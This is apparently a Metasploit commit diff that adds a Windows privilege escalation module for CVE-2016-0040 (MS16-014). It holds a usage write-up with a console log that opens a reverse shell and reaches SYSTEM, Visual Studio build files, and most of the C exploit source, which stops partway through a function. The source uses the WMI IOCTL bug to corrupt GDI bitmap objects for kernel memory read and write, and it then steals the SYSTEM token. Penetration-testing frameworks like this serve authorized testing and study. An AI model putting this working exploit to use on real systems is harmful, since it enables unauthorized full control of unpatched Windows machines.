Land #8795, Added CVE-2016-0040 Windows Privilege Escalation
Merge branch 'land-8795' into upstream-masterGSoC/Meterpreter_Web_Console
commit
ce5be387c4
Binary file not shown.
|
@ -0,0 +1,46 @@
|
||||||
|
## Intro
|
||||||
|
|
||||||
|
This module exploits an uninitialized stack variable vulnerability
|
||||||
|
present in the WMI subsystem of `ntoskrnl`. The vulnerability is
|
||||||
|
described by MS16-014 and CVE-2016-0040. The module allows the user to
|
||||||
|
elevate privileges (NT AUTHORITY\SYSTEM)
|
||||||
|
|
||||||
|
This module works against Windows7x64 SP0 and SP1
|
||||||
|
It was tested on and fails against Windows 8x64 - Windows 10x64 r1703
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
- [ ] obtain a session on the target system
|
||||||
|
- [ ] set the `payload`
|
||||||
|
- [ ] set the `session`
|
||||||
|
- [ ] `run`
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Windows 7x64 SP1
|
||||||
|
|
||||||
|
```
|
||||||
|
meterpreter > background
|
||||||
|
[*] Backgrounding session 0...
|
||||||
|
msf exploit(handler) > use exploits/windows/local/ms16_014_wmi_recv_notif
|
||||||
|
msf exploit(ms16_014_wmi_recv_notif) > set session 0
|
||||||
|
session => 0
|
||||||
|
msf exploit(ms16_014_wmi_recv_notif) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.16.38.170:4444
|
||||||
|
[*] Launching notepad to host the exploit...
|
||||||
|
[+] Process 3948 launched.
|
||||||
|
[*] Reflectively injecting the exploit DLL into 3948...
|
||||||
|
[*] Injecting exploit into 3948...
|
||||||
|
[*] Exploit injected. Injecting payload into 3948...
|
||||||
|
[*] Payload injected. Executing exploit...
|
||||||
|
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
|
||||||
|
[*] Command shell session 2 opened (172.16.38.170:4444 -> 172.16.38.129:49695) at 2018-03-07 08:27:57 -0800
|
||||||
|
|
||||||
|
Microsoft Windows [Version 6.1.7601]
|
||||||
|
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||||
|
|
||||||
|
C:\whoami
|
||||||
|
whoami
|
||||||
|
SYSTEM
|
||||||
|
```
|
|
@ -0,0 +1,102 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="Application.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>15.0</VCProjectVersion>
|
||||||
|
<ProjectGuid>{81D011C1-F734-44D1-BE48-B16D643C99A7}</ProjectGuid>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<RootNamespace>Application</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0.15063.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>$(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>
|
||||||
|
copy /y $(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).exe $(SolutionDir)$(Platform)\$(Configuration)\$(SolutionName).$(Platform).exe</Command>
|
||||||
|
<Message>Copy EXE</Message>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<AdditionalDependencies>$(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>
|
||||||
|
copy /y $(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).exe $(SolutionDir)$(Platform)\$(Configuration)\$(SolutionName).$(Platform).exe</Command>
|
||||||
|
<Message>Copy EXE</Message>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,39 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 2013
|
||||||
|
VisualStudioVersion = 12.0.21005.1
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Metasploit", "Metasploit\Metasploit.vcxproj", "{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D}
|
||||||
|
EndProjectSection
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Library", "Library\Library.vcxproj", "{2B0E925B-9653-42D7-84EF-E47DD89DED3D}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|Any CPU.ActiveCfg = Debug|x64
|
||||||
|
{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|Any CPU.ActiveCfg = Release|x64
|
||||||
|
{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|Any CPU.Build.0 = Release|x64
|
||||||
|
{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|x64.Build.0 = Release|x64
|
||||||
|
{2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|Any CPU.ActiveCfg = Debug|x64
|
||||||
|
{2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|Any CPU.ActiveCfg = Release|x64
|
||||||
|
{2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|Any CPU.Build.0 = Release|x64
|
||||||
|
{2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|x64.Build.0 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,395 @@
|
||||||
|
#include <windows.h>
|
||||||
|
#include <Psapi.h>
|
||||||
|
#include <process.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "Library.h"
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define LOG
|
||||||
|
#endif //_DEBUG
|
||||||
|
|
||||||
|
#define BITS_PER_BYTE 8
|
||||||
|
|
||||||
|
#define TRIGGER_VULNERABILITY_RETRIES 1024
|
||||||
|
|
||||||
|
#define WMI_RECEIVE_NOTIFICATIONS_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)
|
||||||
|
|
||||||
|
#define WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD 2
|
||||||
|
#define WMI_RECEIVE_NOTIFICATION_HANDLE_COUNT 20
|
||||||
|
|
||||||
|
#define BITMAP_SIZE (BITMAP_WIDTH * BITMAP_HEIGHT * (BITMAP_BIT_COUNT / BITS_PER_BYTE))
|
||||||
|
#define BITMAP_WIDTH 0x64
|
||||||
|
#define BITMAP_HEIGHT 0x64
|
||||||
|
#define BITMAP_PLANES 1
|
||||||
|
#define BITMAP_BIT_COUNT 32
|
||||||
|
|
||||||
|
#define BITMAP_COUNT 4096
|
||||||
|
#define BITMAP_MANAGER_INDEX 2048
|
||||||
|
#define BITMAP_WORKER_INDEX 3072
|
||||||
|
|
||||||
|
#define IMAGE_BASE_LIST_SIZE 0x1000
|
||||||
|
#define IMAGE_BASE_KERNEL_INDEX 0
|
||||||
|
|
||||||
|
#define PAGE_FRAME_NUMBER_COUNT 1024
|
||||||
|
|
||||||
|
#define BITMAP_STRUCTURE_CHECK_OFFSET 0x48
|
||||||
|
#define BITMAP_STRUCTURE_PVSCAN0_OFFSET 0x50
|
||||||
|
#define BITMAP_STRUCTURE_CORRUPTION_OFFSET 0x80
|
||||||
|
#define BITMAP_STRUCTURE_CORRUPTION_VALUE_0 0x1000000000006
|
||||||
|
#define BITMAP_STRUCTURE_CORRUPTION_VALUE_1 0x238
|
||||||
|
|
||||||
|
#define RETURN_BUFFER_SIZE 1000
|
||||||
|
|
||||||
|
typedef enum _PROCESSINFOCLASS {
|
||||||
|
ProcessBasicInformation = 0
|
||||||
|
} PROCESSINFOCLASS;
|
||||||
|
|
||||||
|
typedef struct _PEB {
|
||||||
|
BYTE unk[0xf8];
|
||||||
|
VOID *GdiSharedHandleTable;
|
||||||
|
} PEB, *PPEB;
|
||||||
|
|
||||||
|
typedef struct _PROCESS_BASIC_INFORMATION {
|
||||||
|
PVOID Reserved1;
|
||||||
|
PPEB PebBaseAddress;
|
||||||
|
PVOID Reserved2[2];
|
||||||
|
ULONG_PTR UniqueProcessId;
|
||||||
|
PVOID Reserved3;
|
||||||
|
} PROCESS_BASIC_INFORMATION;
|
||||||
|
|
||||||
|
typedef struct _WMI_RECEIVE_NOTIFICATION {
|
||||||
|
ULONG HandleCount;
|
||||||
|
ULONG Action;
|
||||||
|
HANDLE UserModeCallback;
|
||||||
|
HANDLE UserModeProcess;
|
||||||
|
HANDLE Handles[WMI_RECEIVE_NOTIFICATION_HANDLE_COUNT];
|
||||||
|
} WMI_RECEIVE_NOTIFICATION, *PWMI_RECEIVE_NOTIFICATION;
|
||||||
|
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
typedef struct _GDICELL64 {
|
||||||
|
PVOID pKernelAddress;
|
||||||
|
USHORT wProcessId;
|
||||||
|
USHORT wCount;
|
||||||
|
USHORT wUpper;
|
||||||
|
USHORT wType;
|
||||||
|
PVOID pUserAddress;
|
||||||
|
} GDICELL64;
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
typedef struct EPROCESS_OFFSETS {
|
||||||
|
DWORD UniqueProcessId;
|
||||||
|
DWORD Token;
|
||||||
|
} EPROCESS_OFFSETS, *PEPROCESS_OFFSETS;
|
||||||
|
|
||||||
|
static PPEB GetCurrentPeb(VOID) {
|
||||||
|
|
||||||
|
NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
|
||||||
|
PROCESS_BASIC_INFORMATION ProcessInformation;
|
||||||
|
ULONG ReturnLength;
|
||||||
|
HMODULE library;
|
||||||
|
|
||||||
|
library = LoadLibrary("ntdll.dll");
|
||||||
|
|
||||||
|
if (library == NULL) { return NULL; }
|
||||||
|
|
||||||
|
ZwQueryInformationProcess = (VOID *)GetProcAddress(library, "ZwQueryInformationProcess");
|
||||||
|
|
||||||
|
if (ZwQueryInformationProcess == NULL) { return NULL; }
|
||||||
|
|
||||||
|
if (ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &ReturnLength) != 0) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ProcessInformation.PebBaseAddress;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOLEAN SetupBitmapManagerAndWorker(HBITMAP *hManager, HBITMAP *hWorker) {
|
||||||
|
|
||||||
|
BYTE bitmap[BITMAP_SIZE];
|
||||||
|
HBITMAP bitmaps[BITMAP_COUNT];
|
||||||
|
INT i;
|
||||||
|
|
||||||
|
memset(bitmap, 'a', BITMAP_SIZE);
|
||||||
|
|
||||||
|
for (i = 0; i < BITMAP_COUNT; i++) {
|
||||||
|
bitmaps[i] = CreateBitmap(BITMAP_WIDTH, BITMAP_HEIGHT, BITMAP_PLANES, BITMAP_BIT_COUNT, &bitmap);
|
||||||
|
|
||||||
|
if (bitmaps[i] == NULL) {
|
||||||
|
LOG("[-] Unable To Create The Required Bitmaps\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
GetBitmapBits(bitmaps[i], BITMAP_SIZE, &bitmap);
|
||||||
|
}
|
||||||
|
|
||||||
|
*hManager = bitmaps[BITMAP_MANAGER_INDEX];
|
||||||
|
*hWorker = bitmaps[BITMAP_WORKER_INDEX];
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static PVOID GetBitmapKernelAddress(PPEB peb, HBITMAP handle) {
|
||||||
|
|
||||||
|
GDICELL64 *cells;
|
||||||
|
WORD index;
|
||||||
|
|
||||||
|
index = LOWORD(handle);
|
||||||
|
|
||||||
|
cells = (GDICELL64 *)(peb->GdiSharedHandleTable);
|
||||||
|
|
||||||
|
return cells[index].pKernelAddress;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOLEAN WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID dest, PVOID src, DWORD len) {
|
||||||
|
|
||||||
|
if (SetBitmapBits(hManager, sizeof(PVOID), &dest) == 0) {
|
||||||
|
LOG("[-] Unable To Set Destination Address: 0x%p\n", dest);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return SetBitmapBits(hWorker, len, src) ? TRUE : FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
|
||||||
|
|
||||||
|
if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) {
|
||||||
|
LOG("[-] Unable To Set Source Address: 0x%p\n", src);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static PVOID GetNtOsKrnl(VOID) {
|
||||||
|
PVOID ImageBases[IMAGE_BASE_LIST_SIZE];
|
||||||
|
DWORD needed = 0;
|
||||||
|
|
||||||
|
if (EnumDeviceDrivers((LPVOID *)&ImageBases, sizeof(ImageBases), &needed) == 0) {
|
||||||
|
LOG("[-] Unable To Enumerate Device Drivers: %d\n", needed);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ImageBases[IMAGE_BASE_KERNEL_INDEX];
|
||||||
|
}
|
||||||
|
|
||||||
|
static PVOID GetPsInitialSystemProcess(HBITMAP hManager, HBITMAP hWorker) {
|
||||||
|
|
||||||
|
HMODULE loaded;
|
||||||
|
PVOID address;
|
||||||
|
PVOID runtime;
|
||||||
|
|
||||||
|
loaded = LoadLibrary("ntoskrnl.exe");
|
||||||
|
|
||||||
|
if (loaded == NULL) {
|
||||||
|
LOG("[-] Unable To Load NtOsKrnl.exe\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
address = GetProcAddress(loaded, "PsInitialSystemProcess");
|
||||||
|
|
||||||
|
if (address == NULL) {
|
||||||
|
LOG("[-] Unable To Get PsInitialSystemProcess\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
FreeLibrary(loaded);
|
||||||
|
|
||||||
|
runtime = GetNtOsKrnl();
|
||||||
|
|
||||||
|
if (runtime == NULL) {
|
||||||
|
LOG("[+] Unable To Get NtOsKrnl Runtime Address\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)address - (ULONG64)loaded + (ULONG64)runtime), &address, sizeof(PVOID)) == FALSE) {
|
||||||
|
LOG("[-] Unable To Read PsInitialSystemProcess Address\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return address;
|
||||||
|
}
|
||||||
|
|
||||||
|
static PVOID GetPsGetCurrentProcess(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) {
|
||||||
|
|
||||||
|
PVOID systemProcess;
|
||||||
|
LIST_ENTRY ActiveProcessLinks;
|
||||||
|
ULONG64 UniqueProcessId;
|
||||||
|
PVOID currentProcess;
|
||||||
|
|
||||||
|
systemProcess = GetPsInitialSystemProcess(hManager, hWorker);
|
||||||
|
|
||||||
|
if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY)) == FALSE) {
|
||||||
|
LOG("[-] Unable To Read Initial System Process ActiveProcessLinks\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
currentProcess = (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64));
|
||||||
|
|
||||||
|
ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId), &UniqueProcessId, sizeof(ULONG64));
|
||||||
|
|
||||||
|
if (GetCurrentProcessId() == UniqueProcessId) { return currentProcess; }
|
||||||
|
|
||||||
|
ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY));
|
||||||
|
|
||||||
|
} while (currentProcess != (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64)));
|
||||||
|
|
||||||
|
LOG("[-] Unable To Locate The Current Process In The List\n");
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWorker) {
|
||||||
|
|
||||||
|
PVOID pageFrameNumbers[PAGE_FRAME_NUMBER_COUNT];
|
||||||
|
WMI_RECEIVE_NOTIFICATION notification;
|
||||||
|
PVOID hManagerAddress, hWorkerAddress;
|
||||||
|
BYTE ReturnBuffer[RETURN_BUFFER_SIZE];
|
||||||
|
DWORD ReturnSize;
|
||||||
|
HANDLE hDriver;
|
||||||
|
PVOID address;
|
||||||
|
INT i;
|
||||||
|
|
||||||
|
NTSTATUS NtMapUserPhysicalPages(PVOID BaseAddress, ULONG NumberOfPages, PVOID *PageFrameNumbers);
|
||||||
|
|
||||||
|
|
||||||
|
if (SetupBitmapManagerAndWorker(hManager, hWorker) == FALSE) {
|
||||||
|
LOG("[-] Unable To Setup Manager And Worker Bitmaps\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
hManagerAddress = GetBitmapKernelAddress(pPeb, *hManager);
|
||||||
|
hWorkerAddress = GetBitmapKernelAddress(pPeb, *hWorker);
|
||||||
|
|
||||||
|
LOG("[%%] Targeting pvScan0 With \"mov rdx, [rdx+0x8]\" Instruction\n");
|
||||||
|
|
||||||
|
for (i = 0; i < (sizeof(notification) / sizeof(PVOID)); i++) { ((ULONG64 *)¬ification)[i] = BITMAP_STRUCTURE_CORRUPTION_VALUE_0; }
|
||||||
|
|
||||||
|
notification.HandleCount = 0;
|
||||||
|
notification.Action = WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD;
|
||||||
|
notification.UserModeProcess = GetCurrentProcess();
|
||||||
|
|
||||||
|
for (i = 0; i < (sizeof(pageFrameNumbers) / sizeof(PVOID)); i++) { pageFrameNumbers[i] = hManagerAddress; }
|
||||||
|
|
||||||
|
LOG("[%%] pPeb: 0x%p\n", pPeb);
|
||||||
|
LOG("[%%] hManager: 0x%p, hWorker: 0x%p\n", *hManager, *hWorker);
|
||||||
|
LOG("[%%] hManagerAddress: 0x%p, hWorkerAddress: 0x%p\n", hManagerAddress, hWorkerAddress);
|
||||||
|
|
||||||
|
hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (hDriver == INVALID_HANDLE_VALUE) {
|
||||||
|
LOG("[-] Unable To Open The WMIDataDevice\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
i = 0;
|
||||||
|
do {
|
||||||
|
Sleep(0);
|
||||||
|
|
||||||
|
NtMapUserPhysicalPages(pageFrameNumbers, (sizeof(pageFrameNumbers) / sizeof(PVOID)), pageFrameNumbers);
|
||||||
|
|
||||||
|
if (DeviceIoControl(hDriver, WMI_RECEIVE_NOTIFICATIONS_IOCTL, ¬ification, sizeof(notification), &ReturnBuffer, sizeof(ReturnBuffer), &ReturnSize, NULL) == FALSE) {
|
||||||
|
LOG("[-] Device IO Control Returned Failure\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
GetBitmapBits(*hManager, sizeof(PVOID), &address);
|
||||||
|
} while ((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (++i < TRIGGER_VULNERABILITY_RETRIES));
|
||||||
|
|
||||||
|
|
||||||
|
if((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (i == TRIGGER_VULNERABILITY_RETRIES)) {
|
||||||
|
LOG("[-] Unable To Trigger The Vulnerability\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("[+] Self-Referencing Pointer Placement Complete\n");
|
||||||
|
|
||||||
|
pageFrameNumbers[0] = (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_VALUE_1);
|
||||||
|
pageFrameNumbers[1] = (PVOID)((ULONG64)hWorkerAddress + BITMAP_STRUCTURE_PVSCAN0_OFFSET);
|
||||||
|
SetBitmapBits(*hManager, (sizeof(PVOID) * 2), pageFrameNumbers);
|
||||||
|
|
||||||
|
LOG("[+] Stage 1 Cleanup Complete\n");
|
||||||
|
LOG("[+] Pointed hManager's pvScan0 To hWorker's pvScan0\n");
|
||||||
|
|
||||||
|
pageFrameNumbers[0] = NULL;
|
||||||
|
WriteMemory(*hManager, *hWorker, (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_OFFSET), pageFrameNumbers, sizeof(PVOID));
|
||||||
|
|
||||||
|
LOG("[+] Stage 2 Cleanup Complete\n");
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOLEAN TriggerPrivilegeEscalation(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) {
|
||||||
|
|
||||||
|
PVOID systemProcess;
|
||||||
|
PVOID currentProcess;
|
||||||
|
PVOID systemToken;
|
||||||
|
|
||||||
|
systemProcess = GetPsInitialSystemProcess(hManager, hWorker);
|
||||||
|
|
||||||
|
if (systemProcess == NULL) {
|
||||||
|
LOG("[-] Unable To Get The System Process\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
currentProcess = GetPsGetCurrentProcess(hManager, hWorker, offsets);
|
||||||
|
|
||||||
|
if (currentProcess == NULL) {
|
||||||
|
LOG("[-] Unable To Get The Current Process\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("[%%] SystemProcess: 0x%p, CurrentProcess: 0x%p\n", systemProcess, currentProcess);
|
||||||
|
|
||||||
|
if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) {
|
||||||
|
LOG("[-] Unable To Get The System Process Token\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("[%%] SystemToken: 0x%p\n", systemToken);
|
||||||
|
|
||||||
|
if (WriteMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) {
|
||||||
|
